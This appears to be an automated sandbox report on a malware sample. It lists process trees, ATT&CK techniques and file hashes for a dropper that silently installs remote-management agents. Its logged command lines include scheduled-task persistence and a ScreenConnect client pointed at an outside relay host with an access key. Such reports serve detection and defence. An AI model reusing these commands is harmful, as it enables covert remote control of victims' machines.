C:\Windows\SysWOW64\Msiexec.exeMsiexec /i "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Software Updater_C64.msi" /q REBOOT="ReallySuppress"2⤵
- System Location Discovery: System Language Discovery
PID:808
-
-
C:\Windows\SysWOW64\Msiexec.exeMsiexec /i "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Usage Stats_C64.msi" /q REBOOT="ReallySuppress"2⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
PID:3464
-
-
C:\Windows\SysWOW64\Msiexec.exeMsiexec /i "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Imaging Client_C64.msi" /q REBOOT="ReallySuppress"2⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
PID:3424
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4792 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 932F7C0CD001DE5F154FFB57DB323A7D2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Windows\SysWOW64\taskkill.exetaskkill /IM FWAInstallMonitor.exe /F3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
PID:2220
-
-
C:\ProgramData\FWAInstallMonitor.exe"C:\ProgramData\FWAInstallMonitor.exe" /StartMonitor /CreateStartUpMonitorTask /MsiPath "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Cloud Agent_C64.msi" /Pid 4043⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\FWACleanupScheduler.bat4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Delete /tn LaunchStartUpFWAInstallHelper /f5⤵
- System Location Discovery: System Language Discovery
PID:1516
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /RU System /tn LaunchStartUpFWAInstallHelper /tr "\"C:\ProgramData\FWAInstallMonitor.exe\" /StartMonitorAtStartUp 5 /MsiPath C:\Users\Admin\AppData\Local\Temp\FaronicsDeployAgent.msi" /sc onstart5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4576
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\FWACleanupScheduler.bat4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Delete /tn LaunchFWACleanupHelper /f5⤵
- System Location Discovery: System Language Discovery
PID:3032
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\FWACleanupScheduler.bat4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Delete /tn LaunchStartUpFWAInstallHelper /f5⤵
- System Location Discovery: System Language Discovery
PID:3216
-
-
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 457135AFF4598A7394BCBC54C75A8E52 E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\SysWOW64\wbem\mofcomp.exe"C:\Windows\system32\wbem\mofcomp.exe" "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FaronicsWebProduct.mof"3⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
PID:1212
-
-
C:\Windows\SysWOW64\wbem\mofcomp.exe"C:\Windows\system32\wbem\mofcomp.exe" "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FaronicsWebProduct_v2.mof"3⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
PID:2780
-
-
C:\Windows\SysWOW64\wbem\mofcomp.exe"C:\Windows\system32\wbem\mofcomp.exe" "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\WebAgent.mof"3⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
PID:4080
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAWmiProvider.dll"3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3316
-
-
C:\Windows\SysWOW64\wbem\mofcomp.exe"C:\Windows\system32\wbem\mofcomp.exe" "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\StorageSpaces.mof"3⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
PID:972
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\StorageSpaces.dll"3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2272
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /RU System /SC ONSTART /tn FWASvcHelperMonitortask /tr "'C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe' /CHECKSVCHEALTH" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3424
-
-
-
C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ModulesUpgradeMgr.exe"C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ModulesUpgradeMgr.exe" 1.31.8110.282 "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\\" LaunchFromInstaller2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:828 -
C:\ProgramData\Faronics\StorageSpace\FWA\modules\SUDLLUpdaterPatch.exe"C:\ProgramData\Faronics\StorageSpace\FWA\modules\SUDLLUpdaterPatch.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Users\Admin\AppData\Local\Temp\SUDLLUpdaterPatch.exe"C:\Users\Admin\AppData\Local\Temp\SUDLLUpdaterPatch.exe" -installProgress4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4332
-
-
-
-
C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FTAgentTmp.exe"C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FTAgentTmp.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\ProgramData\Faronics\StorageSpace\FWA\modules\FTAgent.exeC:\ProgramData\Faronics\StorageSpace\FWA\modules\FTAgent.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3840
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 679166A4EDC874FB537707C9D212166A2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2480
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 40E154F76961307D8B7B159D13EE5DB82⤵
- Modifies registry class
PID:2344
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A5FE2DEF6FDBEFCD141CA3FA06BD233C E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4552 -
C:\Users\Admin\AppData\Local\Temp\wacD950.tmpC:\Users\Admin\AppData\Local\Temp\wacD950.tmp {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{D73A9789-ED1E-41C4-873A-AB3BE294B8C3}3⤵
- Executes dropped EXE
PID:1036
-
-
C:\Users\Admin\AppData\Local\Temp\wacD950.tmpC:\Users\Admin\AppData\Local\Temp\wacD950.tmp {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{B29C9A7B-1F5A-4DB7-AC9F-B603CB84F97D}3⤵
- Executes dropped EXE
PID:3156
-
-
-
C:\Program Files\Faronics\Software Updater\UpdateHelper.exe"C:\Program Files\Faronics\Software Updater\UpdateHelper.exe" /downloadSoftwareUpdaterDll2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
PID:760
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 8A63E2917F3AC36DF7B24E69B65004A6 E Global\MSI00002⤵PID:5084
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 658B17398C44151BE38AD281B384BD6F2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3292
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 4C4806F2BD8B13AB3FE0C03FADF74BB02⤵
- Loads dropped DLL
PID:3736
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 419991029C4E4C9F1027B2CA2EF1A75E E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Users\Admin\AppData\Local\Temp\wac6B7E.tmpC:\Users\Admin\AppData\Local\Temp\wac6B7E.tmp {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{8A155FF7-E41B-400E-9F56-6FF7B90FC0DC}3⤵
- Executes dropped EXE
PID:1556
-
-
C:\Users\Admin\AppData\Local\Temp\wac6B7E.tmpC:\Users\Admin\AppData\Local\Temp\wac6B7E.tmp {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{2C56DD67-5E0A-482A-A696-C26B2C6531E3}3⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
PID:560
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B75BFBF9139F503583CA841633943D902⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4452
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1D368425020B9227260097BECD348E13 E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
PID:2444
-
-
C:\Program Files (x86)\Faronics\Imaging\ImgClient.exe"C:\Program Files (x86)\Faronics\Imaging\ImgClient.exe" --addinstalldate2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2776
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 2B1FD26DD33FB542CFB16067DC32D7EB E Global\MSI00002⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:60 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSIF0AA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240972093 363 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:4752
-
-
-
C:\Users\Admin\AppData\Local\Temp\arlingtonchamber.exe"C:\Users\Admin\AppData\Local\Temp\arlingtonchamber.exe" -r1⤵
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Windows\SysWOW64\Msiexec.exeMsiexec /i "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Cloud Agent_C64.msi" /q REBOOT="ReallySuppress"2⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
PID:2396
-
-
C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe"C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:768
-
C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe"C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe"1⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1804 -
C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ModulesUpgradeMgr.exe"C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ModulesUpgradeMgr.exe" 1.31.8110.282 "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
PID:2324
-
-
C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe"C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe" /WATCHDOG2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:360
-
-
\??\c:\programdata\faronics\faronics cloud\cloud agent\downloads\scriptrunner.exe"c:\programdata\faronics\faronics cloud\cloud agent\downloads\\scriptrunner.exe" 1|ce5b57ab-ae6f-4cd6-8b71-aaf4ad2285922⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4364 -
C:\Windows\temp\Faronics\CNF\9\ScreenConnect.ClientSetup.exe"C:\Windows\temp\Faronics\CNF\9\ScreenConnect.ClientSetup.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4944 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\ff55c805740d9225\ScreenConnect.ClientSetup.msi"4⤵
- System Location Discovery: System Language Discovery
PID:3432
-
-
-
-
C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe"C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:996
-
C:\ProgramData\FWAInstallMonitor.exe"C:\ProgramData\FWAInstallMonitor.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3908
-
C:\Program Files\Faronics\Software Updater\FWUSvc.exe"C:\Program Files\Faronics\Software Updater\FWUSvc.exe"1⤵
- Executes dropped EXE
PID:3840
-
C:\Program Files\Faronics\Software Updater\FWUSvc.exe"C:\Program Files\Faronics\Software Updater\FWUSvc.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
PID:3476
-
C:\Program Files\Faronics\UsageStats\USEngine.exe"C:\Program Files\Faronics\UsageStats\USEngine.exe"1⤵
- Executes dropped EXE
PID:1192
-
C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.masharayapanel.top&p=8041&s=cfa3ea11-9112-4d63-8d0f-0b9fc8f44332&k=BgIAAACkAABSU0ExAAgAAAEAAQDNf5LzcJGytXOKYhggtdC%2bAvjhMeYbZhF3RqkPajRE93zK3zZ%2bFt5Lxp9OCGMjAX2GonVBwT347t99z9LqikkbzLT%2fKycsa%2fJ%2fln3XwJKCTbUM6kMwfPc1CQUrdXNnBSkoOqslfzRgWsFjiP%2bwOiaGhhlRQnicBLsFTzmUYpCnLPgyDY5yqsqgf9e54j4Rs%2biPokS%2fpts%2fZbBxSTNA5yJ9u99bNad4y%2fuQTBjiIji7oyVhdbbS0E1ZggAf%2ffFMUM7tH5ATrKU6UxuPxB0d8ZLZS%2fxy67SzPSn0UeQN8ZUUOqZyuIIHoKyg3Ytzn7%2b1Ql3xi%2fpt58yWOBTukc3KT1W8"1⤵
- Sets service image path in registry
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:888 -
C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "52125c25-60a2-4e16-92be-d78825ad41e5" "User"2⤵
- Executes dropped EXE
PID:3964
-
-
C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "1be3596c-907c-4070-9edd-2ae8c03646b9" "System"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Checks processor information in registry
PID:4948
-
-
C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "76a20618-a0bb-4090-99a7-05fa9db5184d" "System"2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1192
-
-
C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "e7964df0-af38-4713-8be8-cd01aa4ef813" "System"2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4360
-
-
C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsBackstageShell.exe"C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsBackstageShell.exe"2⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4976 -
C:\Windows\system32\windowspowershell\v1.0\PowerShell.exe"C:\Windows\system32\windowspowershell\v1.0\PowerShell.exe"3⤵
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1304
-
-
C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsFileManager.exe"C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsFileManager.exe"3⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Users\Backup\HideUL\HideUL.exe"C:\Users\Backup\HideUL\HideUL.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2932 -
C:\Users\Backup\HideUL\HideUL_x64.exeC:\Users\Backup\HideUL\HideUL_x64.exe5⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
PID:1912
-
-
-
-
-
C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "165acea5-1568-4dba-9fb2-ed00473320ee" "User"2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1244
-
-
C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "869f0fc8-52f4-40f9-966a-a2c254b67726" "User"2⤵
- Executes dropped EXE
PID:1520
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding1⤵PID:4864
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9} -Embedding1⤵PID:3232
-
C:\Program Files\Faronics\Software Updater\FWUSvc.exe"C:\Program Files\Faronics\Software Updater\FWUSvc.exe"1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4192
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
3Authentication Package
1Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Component Object Model Hijacking
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
3Authentication Package
1Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Modify Registry
3Pre-OS Boot
1Bootkit
1Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e590cea.rbs
- Size 2.3MB
- SHA256 c20150414649ee75cd573a4cf95676593d1aef91736291876ad4b4c083bad160
- MD5 d779313321266e8689ac6a93481eccaa
- SHA1 60e503ab9103c59d9985ec393add7373b8825655
- SHA512 1f6399fc1195dafdb8276789d58c34fbf8d7e5940d4914d8cccf5e85d73d75d60aa8ce275c434118b28d5bb775052e91e7497713092f3e47562a19715f2d43ec
- SSDEEP 49152:R7DIW7GnW/+Ee7pINUcbO0sSwqbLcgO3LinW7GnW/+Ee7pINUcbO0sSwqbLcgO36:hGnW/7e7pSJ+SwKyGnW/7e7pSJ+SwK5
- TLSH T1E1B56C2177ECC236F6EF16B0AE39566A043EB9710F3081CBE384995E5D706D29A3171B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e590cef.rbs
- Size 11KB
- SHA256 9dda3a638d770b8e8bcd6adc6fbd783a5b61a7579aed6dcd98b182b3c2e7905d
- MD5 e96ef012ed9d70c170c3d1927d89bc8e
- SHA1 3ddd0b8c409ff5a5ee4c396720f4805e694ce57e
- SHA512 268716778a6c5227c129bac94800d9f1682d2e9b5946281c18f3084d0319c11aea770239879f04f15ba25f9f3365a2e5d521c4d62e8618de2a1e305a3ed133e3
- SSDEEP 192:Sxy+O/8KISICV68e8QaiGpDAeNHflu8TIIlu8TwnyA3k4CG9xvdSzpIzrpfnaYPC:SxC/8KIvZc7b7UvU
- TLSH T1153283827602C2E3F9526F75DB43161C3FA387988604A75B33DC94682F967854BEC1A7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e590cf8.rbs
- Size 9KB
- SHA256 d244f05405481086492a667a89e1770c8dc55337da4694ea741a17a4182dac3f
- MD5 aed49cebc7f5030f9d7192449023b465
- SHA1 5005a29b72e5d043a1e049e0b8148bc520f92d07
- SHA512 ce6457011bc36f01b5430c19300d83ae146045466e4c681bdf8666161373e186fbcb7a87a3b7a0a7fd334a580fe4e6df54b9d0d02cb2daaf7d7e855b02ef1fc9
- SSDEEP 192:/C68bM8XiG/AeC/UYIk/UYZESpEghKp7qS:/z9/U4/UjW7u
- TLSH T16E123F43B751C2D3F8421A70DB933B653BB795954340635F148DAAA08E8738A7FAD2CE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e590cfd.rbs
- Size 214KB
- SHA256 f0f4ef70a57ac3ba68ff4b26d24878da3769ca27d48bd960d094909f5a1a35de
- MD5 ae2be79a29f450accbb4c09b22d44a9c
- SHA1 4a44db0693ba33ea0f7e169fb5c95add2b5f3d41
- SHA512 2ea55ed87855f90bbaa88f59cd8842071515ab4c41afc0d215652926b1b60f756fb372044027618d2fe3cf94e91f6f0f634c5cbdaba2cdeb2fbd2d8840cbb0e8
- SSDEEP 3072:UYa9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGN:UYauH2aCGw1ST1wQLdqvN
- TLSH T1B2248C227490807EE7FA1A32D93F9A617E3DF6241760C99E83848C1E5D604C16BF7B67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FRCServer.exe
- Size 1.8MB
- SHA256 bffc018b68ef16b4fea63ab34d1cf0a9878f7fb3c8a67d598c166416e1d649a9
- MD5 77e663d9c4963989f3d27b7f67d1cfeb
- SHA1 7965180f011d1a57105c7ffc4c1b7452f6276246
- SHA512 cd5f4e599a84f8caa137d62f98b33a72c73f5564e5a52d38b10179722fc4f4b8b47ee7b649c4f6fcfbcd5031d557f7cea3f7e3c58b6e907b68545c790a585426
- SSDEEP 49152:nga5x2H/+IfovtLc8pbsOApAQfCQqDQDFNh87b8ZN0VZd9oUhdQVAMIg8o:Z2H/JfcbbsFAQf3qDSFNh87b8ftUhd2r
- TLSH T1E0958D32F6A19077D573323086D9A3B9A6BEB6701F35424B56904F3D2E344D29A3873B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FSSInstaller.exe
- Size 409KB
- SHA256 17743d623e6233b1eae704029e727be95e6ef60de9e50beeb9ece73fc0491f05
- MD5 e7c5ee0932aaddfd28698a2d1c1e83cf
- SHA1 c1018872090152063d0d18a1f67c9abade653386
- SHA512 10df9e681263f5b657d83b208e9f1ef92aa633565506947644eb2f9d520847bb52dd43cc724bca1f0f063adb3b23ed269af4d7eabff28adf146b802f4a525c53
- SSDEEP 12288:2gOpS6b5K+zeXnSdDZTiejq4++51JeXmnsS8/3fD:kr4+zeXngFmejqT6JeXmnsS8vL
- TLSH T1EC944A20B7D8D035F1B31A71AFB6D7764479B9A04B7091CFA3D4096A1EB0AD1C93272B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FTAgentTmp.exe
- Size 348KB
- SHA256 378734ead0ab162de6a49fc35e31e04b8f2908abb371e61864ef4699fd2b2191
- MD5 6eeb9d0eba24458e43de4bc3dd2f0e26
- SHA1 fecc7adedf688b1beff31194f49ba5a66525bf8f
- SHA512 270017cc32096a06cce3474d3d13f26fe8083d2240aaa96cd7ce55197ae7ff9bf432014739dac9215be01c0ff264673b7b2ec008144cd4053849d3617d7180f2
- SSDEEP 6144:wbjvvXO3l+tUfbLTH/00HAhp5JzSmz1X34cvSGX:wfv4+tU3bVAPzSmzFrxX
- TLSH T1E674192122E48432F6AE17719A79D7A5493ABC701B7091EFE39479395D306C38E3272F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAMigrator.dll
- Size 409KB
- SHA256 16f38d265c199915637f57b69d52dbe788fdef9bb069bff498ef1e0ef5365e5b
- MD5 d19e0a1640cd0e581d17ca4f8cafee3e
- SHA1 0f729c747a9fc92e12e431d5bfe3feee0db0b2c0
- SHA512 6cf366c5f5c8242b82cf1afc3173fb82af820a266f92ce383bbc0dfcf076a9a54a4bc930a8856928bb4f852e1ca825a66db84460b9f8e91bf262ad5487044caf
- SSDEEP 6144:I3JuKF15GIDpbD13wvrlqr8EiTtFwVlwTMGLJmhV7d9+dfXh22AeeZ:kJuKFDBDpklqQEiTtMGLIhV7+dfA2Jw
- TLSH T1D5948D2277D5C136D89F10B4BA7A976A0579B4F00B2956C3F7E88A2F4F706C2973520B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe
- Size 489KB
- SHA256 9769f3949ba8b5d7c3350bf259be87730de34acc89adc7098f9d8daa78e03071
- MD5 e32df651f40f2b4a168d8ed46eb915cf
- SHA1 40d61b9fa843e6d4d1bf688c9fd922a268b5cf96
- SHA512 8616dd679cf7676b31cac94666e731326b56e5ba5f5f166650874ae61dddd5bd61d75efb8ad82d7f02ea16df82626e23cd4d7c54730d8d049ae0760e416c3264
- SSDEEP 12288:DeiZxEe6DKMU1FeaAY1KWAlPVW2CHjxf9XqZ1Y:De/uJFe21KBW2CHNf9XqZK
- TLSH T11BB42710B7E9C129F5F31670AE7A862A487ABCA25F3482CF63D40D5D4D70EC18A76727
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAWmiProvider.dll
- Size 171KB
- SHA256 4ffa7e291d9ce9fac6ddd5de6fa32ac65c47c8c01317c55eea5065ff82a63442
- MD5 2ca6508cbe51e8a14089c946532bc802
- SHA1 542d94e2972ab6cf3d5e6a91c78b8b226f08f60f
